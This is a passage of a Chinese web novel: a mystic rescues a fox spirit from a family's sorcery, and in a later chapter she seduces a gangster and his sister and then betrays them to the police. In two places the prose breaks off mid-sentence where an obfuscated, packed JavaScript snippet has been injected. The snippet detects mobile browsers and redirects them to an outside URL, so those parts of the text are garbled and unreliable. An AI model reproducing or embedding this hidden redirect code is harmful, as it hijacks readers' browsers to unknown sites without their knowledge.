“我说!我说!我是见过我奶奶生前的佛堂里,有一个长方形的漆盒,我妈不让我进去,但是我见过她确实每逢初一十五会进去待一个小时,再出来,会很疲惫……” 丁年冷笑一声,懒洋洋的说:“小人山,你说,我要了她们的命,不应该么?” 高世柒有些不知死活的插话:“可是神明不应该宽宥众生么?” “嗯,你说的对,可惜我不是正神,我只是个普通的野仙散人。我只是我。我的字典里没有以德报怨,只有一报还一报。” 虞岁的手握成拳,指尖死死的抠住掌心,“我见过很多仇仙,比你惨的大有人在,但是说实话,那些造业的人多是纯坏,像你遇到的这种心术不正的,还是少数。我不劝你放下屠刀,因果循环,都是常事。只是这个女孩子,眼下算是无辜的,我得保她一命,你不能动她。咱们来商量一个折中的方案。” “你该庆幸你没有强制性让我放下屠刀,不然我也不介意拼个鱼死网破。佛都不渡我,你又能如何解决?” 丁年说这话的时候,有一种活着可以,死了也行的疯感。 气氛有些剑拔弩张,虞岁看着他,一字一句的说:“丁年,佛不渡你,我来渡你。” 丁年的目光笼罩住虞岁,幽邃的眼眸像漩涡一样仿佛要把虞岁吸进去,许久,他说:“好,我听你一次。” 虞岁指着高世柒对丁年说:“我会画道符纸,再画一幅你的画像,让她带回去供奉九天,我会让她早中晚各三柱香,每次都三跪九叩,等九九归真圆满,你那三分势我会取回来,完璧归赵。还有你的原身,我也会拿回来。届时你可以选择让她继续供奉,也可以找个香火旺盛的道观寺庙自去修行。好吗?” “听起来还算可以。但是你可知我那三分势在哪?” 虞岁听他这话口是有戏,不慌不忙的屏气凝神,捏着手指掐算了半晌,“三分势在于风水,看来,要去一趟她们高家祖坟了。” 阿元推了推高世柒,示意她说话,“师傅,我家的祖坟在哪我是真不知道。” 丁年蹙眉,“我也不知道准确位置。小人山,你会寻龙点穴么?” “略懂皮毛。” 丁年微微挑眉,“看不出来,你年纪不大,倒是谦虚。” 要知道,玄学圈最上层的就是风水和望气了,因为千变万化,罗列万象,而略懂皮毛,已是窥得法门。 “修行三年,口出狂言,再修三年,不敢妄言,又过三年,沉默寡言。大道无言的道理你不懂么?” “哦,你倒是学以致用,假以时日,必定有所成。” 这一点虞岁倒是不谦虚,“谢谢,都这么说”,她说着展开画轴,不给丁年反悔的机会,三两下就把丁年的神态勾勒的栩栩如生,又随手画了道仅她可见具体符箓纹样的咒印。 卷好画轴,连同符箓一起交给高世柒,“拿回去,放到高处,今晚月圆星星出全的时候开始供奉香火,神三鬼四,三柱香,不要烧错,记得三跪九叩。” 高世柒诚惶诚恐的接过,小心翼翼的问:“师傅,香火钱怎么收?” “凭赏。看着给。” “那我把后续所有的都扫给你。” 等高世柒走后,丁年接收到虞岁的眼神,浅笑着说:“小人山,我无处可去,能收留我么?” “你跟着她走,自然能受到香火,有我的符箓加持,对你的修为也有助益。” “像孤魂野鬼似的漂泊这么多年,也不差这点香火了,况且我的画像不是跟她去了么?” 虞岁想了想,点点头。丁年身形一闪,消失不见。只是虞岁能感觉到,他就在她身边。 等阿元收拾好一切回来,看到虞岁仍然窝在太师椅里闭目养神,有些好奇:“上次那个仇仙闹的比这次还大,也没见您这样伤神。” 虞岁半睁着眼,“不一样,上次顶多伤身,这次是心累,你知道玄学圈十大酷刑么?” 阿元似懂非懂的摇了摇头。 虞岁好脾气的指点她:“第一大酷刑,给桃花多三心二意的看姻缘;第二大酷刑,给摆烂的看财富;第三大酷刑,给自作自受的收尾;第四大酷刑,给自以为是一知半解的解释;第五大酷刑,给恋爱脑的看感情;第六大酷刑,给带着答案问问题的解惑;第七大酷刑,给非说自己有缘根的点醒;第八大酷刑,给想一出是一出的看事业; 第九大酷刑,给打破砂锅问到底的答疑;第十大酷刑,给嘴甜心苦业障累累的看因果。” 说起来,虞岁对丁年的感觉有些复杂,她佩服他经历了那些还能这样风轻云淡喜怒不形于色。 就像蚌中砂石化珠,又像热炉百炼成钢,不是一句轻飘飘的象征性形容词能囊括的,都不知道该说他心性坚韧还是该说他包容性高……换了她,换了旁人,做不到这样。 也不知是他的心已经千疮百孔伤无可伤,还是说他已经修炼到一定境界没有心了。 所以她对丁年,是有几分怜惜在的,或许,更重。 虞岁想过事情会有些棘手,也做好了处理横生枝节的准备,但她没想到事情的走向能这么离谱! 接到洛茄电话的时候,虞岁刚刚画好拔魂钉的符箓,就听电话那头洛茄语无伦次的说:“师傅,您能来一趟么?我不行了……不是,是她不行了,诶呀,您来了再说吧!” 虞岁心念一动,今天正是第八天,还差一天,还正好是月忌,当即问了一句:“是香火错了病重了?” 不知道电话那端说了什么,虞岁脸色凝重的挂断电话。 叫来阿元把画好的符纸交给她,“把这些符箓放到我早年寻得的归阳液里,浸泡够两个小时,然后按照我给你的地址来找我。” 缓了半晌,一把掀翻了桌上的茶案,“荒唐!真是荒谬至极!这一家子都是什么人啊!” 风中传来一声叹息,“岁岁,你低估了人性的恶。” 夜深鹤透秋空碧,万里西风一剑寒 等虞岁匆匆赶到高家别墅,洛茄正站在门口张望,见到虞岁,眼睛一亮,“您可来了,您快进去看看吧”,边说边引着虞岁往里走。 虞岁按下了洛茄挽住她手臂的手,“你电话里说的可是真的?她从什么时候开始不对劲的?” “前几天都很正常,直到前天夜里,她在睡梦中醒来,突然衣衫不整、满面酡红的去到画像前上了五柱香……那时,我们都没有注意到她眼睛里的癫狂和迷恋,她只对着画像里的丁年说了一句莫名其妙的话,‘我今天才明白,你是为我而来’……说完,又直勾勾的迅速回到床榻上,没多久就传来了均匀的呼吸声。事情发展到此,我以为她是梦魇了,天亮就好了,谁知道后面越来越离谱, 她上香的时辰越来越久,倒是不再念请仙诀了,只是絮絮叨叨的抚摸着丁年的画像讲她和他的前世,讲他爱而不得的遗憾和她幡然醒悟的勇气……可是……丁年的岁数都够当她祖宗了吧?哪来的什么前世,都是她杜撰出来的!直到今天,她走到画像前,说她有了他的骨血,请他,不要辜负她……还说要他同她做一对神仙眷侣,只羡鸳鸯不羡仙。” 虞岁感觉一口老血都要呕出来了,她咬了咬牙,声音像从牙缝里挤出来的一样,“这话她倒是敢想,我都不敢听!简直是居心叵测!丁年是她的仇仙啊,选谁也不可能选她们高家人!谁教她上五柱香的?!” 这种情况,都不仅仅是没长脑子了,简直是魔怔了!不要命了!试想,一个山间精怪,要经历苦修、拜月汲阳、雷劫、车马关、讨封、学人、化形等等或多或少的考验,才能突破修为,接着还要历世,攒功德,等功德圆满之后飞升受封…… 关关难过!最后不仅要毁在人的一己私欲上,还要背上不该背的恶名,虞岁都要替丁年恨了! 洛茄有些闪烁其词,支支吾吾的不敢说完整。 虞岁突然就清醒了,“洛茄,你有事瞒我,今天,还有其他人在,是当初茅山邪派的后人,对么?” “师傅,对不起,我也没有办法,那道士说,只是找你说说话,不会害你的。” 虞岁就懂了,是了,这些嘴甜心苦的,坏心思弯弯绕绕跟莲藕似的,因果线乱的像毛细血管一样,也许眼下风光,但人在做天在看,一时找到谁身上,都不是那么好相与的。 一个鹤发童颜的道士走到院中,“你就是那个勘破贫道先师风水势的无知小辈?” 还不等虞岁说什么,她身后的丁年凛然现形,飘然乘云气,俯首视世寰。散发抱素月,天人咸仰观。 丁年长身玉立挡在虞岁面前,都不正眼看那道士,冷冷的说:“你待如何?” 那道士眯了眯眼,“哼,我当是谁,原来是你这野仙,上次没有让你魂飞魄散,如今倒是长本事了!” “废话少说,新仇旧恨一并清算。” 大厅里走出来一个慌慌张张的上了年纪的女人,一把拉住虞岁,“你就是虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033548|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师傅吧,救救我女儿,她快不行了!” 虞岁被她拽着,回头看了丁年一眼,什么都没有说,但丁年懂了,“做你应该做的,不必顾及我,如果该杀,也是我来动手。” 人命当前,其他的事情先放一放,虞岁深深的看了丁年一瞬,只说了四个字,“完璧归赵。” 说完转身走进大厅,入目一片狼藉,奢华的卧室里,高世柒躺在床上,脸色苍白如纸,颇有几分出气多进气少的意思,短短几天不见,她整个人瘦的跟皮包骨似的,只胸腹部高高隆起…… “去给我接碗无根水来。” 洛茄有些愣,“什么是无根水?” 虞岁也有些无奈,差点忘了,把她当阿元使唤了,当下说的直白一点,“进来的时候看到院子里有一眼活泉,你去找个碗,在那泉水落地之前接好。” “哦哦,好。” 虞岁从随身的布包里取出一枚铜钱和五根彩色丝绳,又拿出一个草人,她把五色丝绳穿进铜钱里,五色丝绳的一端系在高世柒的手腕上,打了个金刚结……五色丝绳的另一端分别系在草人的脖子、两个手腕、两个脚腕上…… 做好这一切之后,洛茄端着无根水回来了,虞岁把铜钱放进水碗中,问了一句:“丁年他,怎么样了?” “跟那个道士打得难舍难分的。” 丁年原本的打算是,报了仇,再找这个道士,哪怕鱼死网破,也要覆他道门,但是遇到虞岁,他突然不想鱼死网破了。 他的命,现在金贵了。 因为虞岁说,佛不渡他,她渡他。 他也想对虞岁说,我不要法,我要你。 那道士看丁年还有空走神,有些气急败坏,“你还有闲情逸致想别的事!看来是没吃到苦头!” 丁年慵懒的接招,出手倒是狠厉,“那你倒是让我见见真章,怎么?这么多年过去了,你们道门开始修嘴道了?流行用嘴输出?” “畜生!受死吧!” 丁年冷哼:“自不量力!” 虞岁做好准备工作,凝咒法与指尖,在五彩丝绳上画符,不多时,就看到高世柒的手腕处鼓出一串密密麻麻像符字样的东西,活的,会动。 洛茄捂住嘴低呼一声,“这是……什么啊?” 虞岁淡淡的说:“他们茅山的蛊虫。” “我的天呐,这么多?” “这才刚开始,什么时候她这肚子瘪下去,什么时候才能收尾。” 蛊虫沿着五彩丝绳有规律的爬进草人里,高世柒的肚子肉眼可见的瘪下去,脸色也渐渐红润起来。 洛茄忍不住说:“虞师傅,其实我一直想问,您不怕么?” “怕什么?” “怕鬼,怕仇仙,怕这些……恐怖的东西。” “不怕,况且,我也没得选。” “没得选?” “嗯,五弊三缺总得占一样,跟这个比,其他的都不算什么。非要说的话,我不怕鬼,我怕人。” “五弊三缺是什么?怕人?您连鬼都不怕还怕人?” “鳏,寡,孤,独,残,总要占一样,三缺的话,大概就是缺钱缺德缺爱吧”,虞岁有些自嘲的笑笑。 洛茄还想说什么,虞岁抬起一根手指放在唇边,“最后关头,不要打断我。” 说完,她一只手拈起水碗里的铜钱,放在草人的腹部;咬破另一只手其中一根手指,捻着五彩丝绳贴近高世柒的唇角……“天地正罡,邪物显形,恭请卯日星君驾临除祟!破!” 像是闻到了血腥味,高世柒的喉咙处传来阵阵声响,似乎是从腹腔深处延伸出来的。 大概过了五分钟,有一个鸡冠样的东西慢慢露出来,再然后是两个米粒大小的油亮的眼睛……又过了五分钟,一条鸡冠头蚯蚓身的母虫缓缓的爬出来…… 察觉到洛茄要惊呼,虞岁清清冷冷的说:“喊吧,吓到母虫,它留一节在她肚子里,前面做的就都是无用功。” 等见到整条完整的母虫出来,虞岁暗暗松了一口气。 洛茄深深的喘了一口粗气,那母虫似有所感,调转肥壮又灵活的身子极速的想爬回去…… 虞岁手疾眼快的用铜钱圈住了母虫的头,狠狠的瞪了洛茄一眼,“成事不足!” 洛茄满脸通红的退到高母的身侧,发现高母出神的盯着虞岁,不知盯了多久,“伯母,结束了,师傅正在收尾,世柒没事了。” 高母方才回过神来,“哦,真是辛苦虞师傅了。” 院中,丁年微微低头看着倒在自己脚边喘粗气的妖道,突然觉得有些无趣,有些怅然若失,“原来当初,我竟折在你这样的废物手里。” 那妖道嚇嚇的倒着气,不知想到了什么,笑的有些诡异:“丁年,你很在乎那个虞岁吧?真可惜啊。” 丁年抬脚,鞋尖勾起他的下巴,“什么意思?” “呵呵,等一下你就知道了,你只要记住,你,只是个畜生,不配爱人,也不配有人爱。” 这话,勾出了丁年隐藏最深的邪恶阴暗面和野性,他缓缓蹲下身,指尖轻捻,一簇黑的发亮的火焰出现,“你没有命看到了。” 丁年把火焰按进妖道的眉心,几分钟后,火焰蔓延了他的全身,他整个人呈现一种诡异的状态,暗色的衣服下能看到火焰在灼烧他的七经八脉四肢百骸。 丁年想,他都决定了,只要一个虞岁,他就算不配,他也想要,轮得到旁人置喙? 虞岁解开高世柒手腕上的金刚结,捏着母虫放到草人身上,用五色彩神紧紧的捆住满身蛊虫的草人,从包里取出一张符纸,画了个五雷灭鬼符,“元亨利贞,天兵地兵,五雷符罡,收斩邪鬼,斩祟灭邪,炸!” 草人轰然炸出一朵火花,黑烟一缕,虞岁松开手,草人悬在半空中,伴随着阵阵血腥味,开始燃烧…… 门口传来阿元的声音,“师傅,符纸泡好了!” 紧接着又听到丁年的疾呼,“岁岁小心!” 虞岁刚要回头,就感觉到胸口处一阵刺痛,仿佛漏了个洞,她甚至能感觉到有风在胸口间呼啸而过……她低头,就看到有半个画着符咒的刀身露出来…… 丁年在看到高母动手的瞬间就凌空起手一道掌手雷,但还是慢了一步。 或者说,那刀仿佛有灵魂,在碰到虞岁的一霎那就像是意识觉醒了一样,拼了命的往她身体里钻…… 剧痛撕扯着虞岁,她只感觉眼前的一切都变成了慢动作,丁年飞扑过来抱住了她,“岁岁,你怎么样?” 被丁年的掌手雷炸到吐血的高母笑的狰狞,“哼哼哼,哈哈哈,虞师傅,这是茅山派的断魂刀,莫说是你一介凡夫俗子,肉体凡胎,就算是丁年这种粗鄙野仙,也得魂飞魄散!你千不该万不该妄想带走这畜生的原身!你这是想动我高家的命脉!你该死!” 虞岁一把扯住想要动作的丁年,安抚的说:“不要再造杀业了,这些都是你修仙路上的绊脚石。包括我,也是。” 又看向一旁惊呆了的洛茄,笑的凉薄,“看到了么?我不怕鬼,因我知道鬼无法伤我半分;我怕人,就是怕这人心啊,伤我最深。” “岁岁,别说了,我带你走,就算耗尽修为我也要救你!” 虞岁看的明白,丁年像一头驴,从不打低端局,只要有人顺毛捋,可保那人一世无虞。 虞岁拍了拍丁年的手,冷冷的看着一旁得意的高母,“你为了给我做局,不惜拿你的亲女儿作饵?” 高母冷笑,“是又如何?世柒什么都不会知道,你还有空操心这个,先想想怎么救你自己吧,茅山的断魂刀什么含金量你应该清楚!怎么样,现在是不是已经开始身体发热、大脑一片混沌、记忆发生错乱了?” 虞岁从布包里取出一个小小的摄像头,“她现在不知道没关系,我会让她知道的,茅山邪术的含金量我自然明白,但你高兴的太早了”。 虞岁说完,在丁年担忧的目光和高母恶毒的视线里,缓缓坐直身体,盘腿打坐,咬破指尖,凌空画了一道召调人马符,“龙鹰地府,胡黄蟐蟒,清风鬼仙,我大堂人马何在?” 霎时间,半空中恍若出现了海市蜃楼般的景象,形形色色的人马往来奔走,旌旗猎猎,一个在字,喊的震耳欲聋。 虞岁感觉到身体瞬间充盈了不知名的温暖力量,她反手自背后拔出了那把断魂刀,“阿元,符纸拿来。” 她用符纸包好了那把断魂刀,递给丁年,“收好了,这可是绝版。” 丁年颤抖着手接过,眼角闪烁着泪花。 虞岁笑了笑,凶他,“不许哭,我还没死呢!” 丁年破泣而笑,“我不会让你死的!” 虞岁找到高世柒说的佛堂,找到那个锦盒,打开,一具保存完好的尸骸出现在她眼前…… 她颤抖着手,用泡好的符纸一张一张、仔仔细细的裹好丁年的原身尸骸,回头看着丁年笑了,“看,我找到了,等我,还你自由。” “诸神,助我!” 掐诀念咒,登时,红光、金光、银光缠绕笼罩住丁年的原身尸骸,“起!” 虞岁话音刚落,符纸破,魂钉落! 丁年泪盈满眶。 虞岁抱着丁年的原身,一步一步走出高家别墅,路过洛茄的时候,还好心的提醒她,“给她俩叫个救护车吧,要快点哦,一个小时后,这里就会被夷为平地。咱们,后会有期。” 那晚的最后,虞岁安置好丁年的原身,缓缓闭上眼睛。 丁年只感觉这冗长而无味的所有存在的时光中所有的眼泪,都在这一晚,流尽了。 虞岁,其实很久很久以前,我见过你,那时候,我还不配靠近你…… 但是没关系,从此刻到尾声,我会一直一直守着你。 丁年一边说,一边吐纳出自己的内丹。我这一身修为,总算物尽其用。 我狐族,生生死死,上穷碧落下黄泉,只有一个伴侣。只得一人心,相交,相付,相守。 别来春半,触目柔肠断。砌下落梅如雪乱,拂了一身还满。 雁来音信无凭,路遥归梦难成。离恨恰如春草,更行更远还生。 虞岁有些无语的问阿元,“这谁啊?怎么总是跟着我?” 阿元也不知道从何说起,就模棱两可的回答,“这是……咱们掌堂教主给您准备的……人吧。” 虞岁看着手里的罗盘,“再往前走走,不是这。” “您……还记得找什么?” “记得啊,找个三势风水穴。” 丁年笑了,虞岁不记得他了,但她还记得许诺过他的事。 虞岁,其实这对我来说,已经很好了,起码,我和你,都活着。 还能守着你,尽够了。 16. 虞岁,丁年会乖 “大小姐,这是您要的资料。” “哟,这兄妹俩现在长的都不赖呢。” “都安排好了,您从哪里下手?” 被称作大小姐的女人抬手,飞镖准确无误的钉中一张照片,“就他吧,无聊了,玩一玩感情。” 夜幕浓稠的像被泼了墨,在城市最繁华隐秘的角落,一家地下赌场散发着颓靡的气息。 昏暗的灯光摇曳,烟雾在空气中肆意弥漫,烟草味、酒精味与各种体味汗味相互交织,放大了每个人的贪欲。 赌徒或兴奋或沮丧地叫嚷着,筹码在赌桌上被推搡,碰撞出清脆又贪婪的声响。 骰子在骰盅里疯狂滚动,每一次的落下,都是命运的宣判,牵动着在场每个人的心弦 。 虞岁身着一袭修身的银白色连衣裙,恰到好处地勾勒出她纤细的腰肢,高跟鞋与地面撞击,每一步都走得风姿绰约,透露着她的笃定与志在必得。 “丁先生呢?”,虞岁拦住一个巡场员。 “丁先生?这里哪有什么丁先生?”,巡场员上下打量了一下虞岁,拽得跟二五八万似的。 虞岁从手包里拿出几张红色钞票塞进巡场员的口袋里,然后就肉眼可见的看着巡场员的面部表情变得和蔼可亲起来了。 瞧,钱真是个好东西。 “哦,你是问丁年吧?” “嗯哼。” “诶,丁年呢?” 不远处的荷官跟着一起吆喝,“丁年?!过来!” 丁年显然是落魄的,从众星捧月到一个荷官都可以对他呼来喝去。 然后虞岁就见到了那个传说中的男人,他穿一套蓝绿色西装,颜色很淡,衬得他整个人愈发艳的明显。 外套没有穿,只有马甲和裤子,里面是一件花衬衫,领口随意的敞开,精致的锁骨若隐若现。 他这样的人,即使是站在暗处,整个人也像是一团燃烧着的黑色火焰,鲜活的不像话,燃烧自己也灼伤别人。 虞岁一步一步的走向他,走到他面前,笑的风情万种的对他说:“我喜欢你啊,丁年。” 丁年倚着柜台,叼着根烟,斜眼看她,“滚!我不玩你这种女人。” 虞岁暗想,哦吼,小东西可真带感,我就喜欢不理我的。 她的表情凝固,一副震惊的样子,“丁年你混蛋!我喜欢你也有错么?这种女人是什么意思?” 虞岁直觉这个时候接近他是最正确的,但也是最危险的。 普通人在这种境遇下攻击力会最薄弱,但是丁年的不可控因素太多。 他看起来有几分脆弱,让人感觉他很孤独,只是,他容易应激。 比如现在,他苍劲有力的手握着枪抵在虞岁的额角,“喜欢我?”,他的声音阴测测的,“为什么喜欢我?”,透着淡淡的疑惑和藏不住的兴奋。 一想到她回答的不让他满意,他就能摧毁她,就让人有种血脉贲张的力量。 他半包围住虞岁,外人看上去好像一对正在拥抱的缱绻恋人。 虞岁眼眶一红,也不说话,清泠泠的眼中蓄满泪水,像薄雾笼着月亮,而月亮掉进了水里。 丁年微怔,虞岁感觉到抵在额角的枪卸了三分力。 “喜欢你,也不可以么?” 丁年就有点不会了,可以么?可以……吧。 他手腕一转,收回枪,把烟别在耳边,拉着她走到僻静的楼梯口。 “是什么时候开始的?” 虞岁不说话,只静静地深深的看着他,“你都不记得了?” 她的眼睛会说话,只是说的都是能让他大脑宕机的话。 丁年此时不得不承认,即便他阅人无数,虞岁的这双眼,太有故事感和说服力。 他甚至觉得是自己失了忆。 “你是前年游艇上那个服务员?我送过你项链?你收到过这么重的金项链么?”,丁年说着从怀里掏出一条金灿灿沉甸甸的项链。 然后他就看到虞岁的反应跟他想的大相径庭,她落泪了。 “哭什么?觉得金的土?这叫怀旧,得意时的资本,失意时的底气。” 然后他就看到虞岁的眼泪跟断了线的珍珠似的,好像,比他的金项链值钱。 好摄人心魄的一滴泪,自虞岁的眼角垂落,让丁年觉得,是自己有罪,是这个世界有罪。 “你记错了”,虞岁哭的凉薄,说的淡漠。 但她就是有这种本事,让丁年觉得,自己过分,该死。 记错了人比不记得了,还伤人。 “你叫什么名字?” “虞岁,年年有虞的虞,岁岁同舟的岁。” 丁年取下耳边的烟,吹了一下,噙住,点燃,隔着烟雾缭绕,看向虞岁,神色郑重了几分,“虞岁,我不是好人。” 虞岁伸手取下他的烟,放到唇边,浅浅吸了一口,挑逗似的吹出一缕烟雾扑向丁年的脸,“巧了,我也不是。” “我现在一无所有,你想要什么我都给不了。” “你不是还有张脸么?哦,对了,还有你那条破项链。” “你确定要跟我在一起?” “丁年,还要追加一条,你还有礼貌,跟你在一起听着就是比跟你,更受用,你和那些满脑袋nai子满嘴马子的扑街仔还是有区别的。” 丁年抬手给她鼓掌,“说的真好,不过……”,他的手伸到虞岁唇边取回他的烟,“还是不行,我对你没感觉。” 虞岁啪的一下打掉他手里的烟,一字一句的说:“丁舟杰,你最好再考虑一下。” 丁年皱眉,眼底有杀意翻涌,“你说什么?” 虞岁倾身贴近他,凑到他耳边,“我说,你只要乖,你就是丁年。” 虞岁说完,慢慢退后,在他唇角浅啄了一下,“你会乖的,对么?阿杰。” 她饶有兴致的欣赏着丁年的表情,看他从明晃晃的动了杀心,到震怒,到疑惑,到错愕,到面沉如水,到不知所措,再到平静,隐隐地还有几丝暗爽。 “你知道多少?” “我有你作为丁舟杰的全部,开心么?” 丁年低垂着眉眼,看不清情绪,“虞岁,丁年会乖。” “骗人,不过我信了,你肯骗我,说明你在乎我。” “怎么会?现在这种状况,骗你对我没好处。” 丁年最擅长的就是蛰伏,尤其在这种摸不清楚虞岁底细的情况下,她能三言两语就说出来他费尽心思掩埋的过往,就说明她手里剩下的牌面更大。 虞岁看着丁年若有所思的表情,满意的勾了勾唇角,这个男人真是生的精致,做亦喜亦嗔的表情应该更妙。 “现在,可以带我回家了么?” “虞岁,你做好准备就行。” “丁年,我从出生那天起就准备好了。” 曾经有人对丁年说过,迷人的女人最危险,同虞岁相处的日子里,丁年深刻的、反复的体会到了。 “丁年,你妹妹是不是不喜欢我啊?” “你说丁元么?她就是那个性子。” “那你妹妹,是不是喜欢你啊?” “虞岁,你要不要听听你在说什么鬼话?她是我亲妹妹。” “可是我生的这样花容月貌,又人见人爱花见花开的,她为什么总是不理我呢?她怎么能对我的示好避而不见呢?” “那你为什么一定要她理你呢?” 虞岁半真半假半懵懂的说:“因为我无聊啊,我想要你们都爱我,只爱我。” 丁年叹口气,正色的对她说:“虞岁,这不公平,你想要所有人都爱你,你能给所有人什么呢?你真的懂唯一的含义么?” “丁年,你怕了,你不敢爱我。” “虞岁,我从来都不是胆小鬼。只看你是不是那个人。” “那你应该跑啊,跑远点,别被我抓到。” 丁年想说,牌打到一半,往哪跑?但他不想继续这个话题了,“饿不饿?想吃什么?” 虞岁托着腮看他,“想吃你……”,在成功看到他的耳朵红透了之后,她接着说,“煎的牛排。” “好,等着吧。” 虞岁看着丁年走远的背影,有些出神,喃喃低语,“差不多该结束了,再玩下去,栽的好像就是我了。” 你像蜜糖蛀心间,见你如见艳阳天。 一个月色朦胧的夜,丁年有事外出,虞岁窝在沙发里惬意的自斟自饮,门口一阵响动,虞岁偏头看了一眼,嘴角攀上笑意,终于等到了啊。 她放下酒杯,脚步轻快的跑到门口,笑的灿烂,“阿元姐姐,你回来了啊?” 丁元放下钥匙,换鞋,随口含糊的答应,“嗯”。 “阿元姐姐,你渴不渴?累不累?要不要喝点红酒?” “不用,谢谢。” “那阿元姐姐,你饿不饿?冰箱里有牛排……我……” “虞岁,我说不用,谢谢。” 虞岁眼眶一红,怯怯地看向她,“阿元姐姐,其实你没必要对我这么冷淡,我从来也没想过对你纠缠。我只是喜欢你,想对你好而已。” 丁元的心像是被无形的大手锤打了一下,瞬间的窒息感梗的她险些晕阙,她张了张嘴,干巴巴的说:“我,不是那个意思,太晚了,不想折腾你。” “那……你不讨厌我了?” 丁元终于敢正面的、肆无忌惮的打量虞岁,从她柔软的发,到她如画的眉眼,到她纤弱的身形,再看到她光着的脚……皱了皱眉,弯腰从鞋柜里取出一双鞋放到她面前,“我从来都没讨厌过你……把鞋穿好,地上凉。” 虞岁一把拉住她的手,声音里满是喜悦,“耶,阿元姐姐不讨厌我耶~” 等虞岁穿好鞋子走回沙发,丁元还站在原地,低垂着眼看着自己的手,有些呆滞,有些怅然若失,刚才那一瞬间,虞岁柔若无骨的手就在她掌心,那触感像电流一样酥酥麻麻的,从掌心一路到心尖。 “阿元姐姐,过来坐呀。” 丁元回过神,“哦,好。” “阿元姐姐,你真的不讨厌我么?” 怎么会讨厌呢?谁能讨厌虞岁呢?谁舍得呢? “当然不讨厌,对了,我哥呢?” “我也不知道,我也不敢问,他……很凶的。” “我哥他对你不好么?” “不……好,不是,我和他不是那种关系”,虞岁说着,还欲盖弥彰似的扯了扯衣袖。 丁元控制好力道的拉过她的手臂,轻柔的拉起她的袖子,映入眼帘的是一道触目惊心的红痕,呼吸一滞,“这是我哥弄的?” 其实伤痕不深,只是虞岁的手臂太过白皙柔嫩,所以显得格外的狰狞。 虞岁拉下衣袖,“阿元姐姐,这是我自己弄的,跟丁年哥哥无关,你千万不要怪他。” 她越是这么说,丁元越是心疼她,“别怕,阿元姐姐会保护你。” 凌晨时分,虞岁听到丁年回来去了书房,过了不久,丁元也进了书房,很快,书房里就传来剧烈的争吵声…… “丁年,你以后离虞岁远点!” “丁元你有病吧?是你该离虞岁远点!” “丁年你他妈就是个冷血动物,六年前你就这样!现在还这样!” “丁元,最没有资格说这话的人就是你!你给老子滚出去!” 虞岁躲在卫生间里,看着镜子里的自己,无声的笑了,唔,这张脸,真是做男做女都精彩。 她从抽屉的暗格里拿出一个旧手机,熟练的开机操作,输入一串数字,发了条只有她和对方能看懂的地址代码过去。 然后抠出电话卡,扔进马桶里,随着水流的涌动,冲到不知明的某处。 玩够了,再玩就脱靶了。 隔天中午,丁年看着忙着选衣服的虞岁,忍不住问:“穿的花枝招展的要去哪?” 虞岁拎着两条裙子回身看他,“帮我选选,哪条更衬我?” “你这是什么?两条围巾?” “痴线,这是辣妹装。” “呵,你怎么不干脆穿内衣出去?” “丁年,你吃醋了?放心,我不是跟男人出去,我是跟你妹妹。” “跟丁元?跟丁元有必要穿这样?” “丁年,你知道你现在像什么么?” “像什么?” “在乎老婆会不会出轨的深闺怨夫。” 他不反驳老婆,他反驳在乎。 “谁在乎你了?” “嗯,你不在乎,你只是闷骚。” “虞……岁!” “我要换衣服了,出去把门带上,不在乎我的深闺怨夫”,虞岁把不在乎三个字着意咬重。 丁年走到门口又问了一句,“你们要去哪?” 虞岁报了个地址,丁年边走边嘟囔,“大晚上的去天台干什么?” 等虞岁穿戴打扮好,正碰到丁元,看她这身打扮,丁元眼底有惊艳闪过,“岁岁这是准备去哪?” 虞岁有些拘谨的扯了扯衣服,“丁年哥哥说,带我去个地方。” 听到丁年,丁元就有些垮脸,“他就让你穿这样出去?” 虞岁慌忙摆手,“不是的,是我自己要穿的。” “好了,别替那个不体面的东西遮掩了,去哪?晚点我去接你。” 虞岁说了位置,丁元听的咬牙,“太阳都要落山了,让你穿成这样,去天台,他倒是会玩。” 虞岁讪笑着出门,有趣,真有趣啊。 在这个城市,虞岁最喜欢的就是这个天台,无他,从这里的观景位俯视下去,有种整座城市尽揽于怀的感觉。 可惜万家灯火,却没有一盏灯是等她归家的。 丁年到的时候,没有看到虞岁,只看到了丁元,他心里升腾起几分火气,语气不善的问:“虞岁呢?” 丁元也是气笑了,“你问我?我还要问你呢,她不是跟你在一起么?” 兄妹俩这么多年的默契还是有的,一瞬间就确定了什么,同时开口:“那她跟谁在一起?” 话音刚落,就听到虞岁跟一个男人的谈话声由风中传进耳中…… “赵警官,你确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033549|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我提供的这些资料够逮捕丁年兄妹了?” “七七八八,我们的人抓到他们会再确定口供,口供很重要。” 丁年和丁元的脸色用简单的文字已经不够形容了,虞岁的声音柔柔的,听在他们耳朵里,比最锋利的刀刃还刮人。 言语如刀的刀,是千刀万剐的刀。 她问,够么?她生怕不够,生怕不能置他们于死地。 夜风微凉,吹到丁年和丁元脸上,好像卷着急风骤雪。 丁年和丁元时至今日才清醒,是了,如果没有雄厚的背景和万全的准备,虞岁怎么敢单枪匹马的搅进他们兄妹之间?搅乱一池春水? 良久,丁元嘲弄的声音响起,“丁年,你他妈真是可笑,被个女人玩你跟玩狗一样!” 丁年的话语里透着森森冷意:“丁元,你和我,属于狗咬狗,谁也别说谁!” 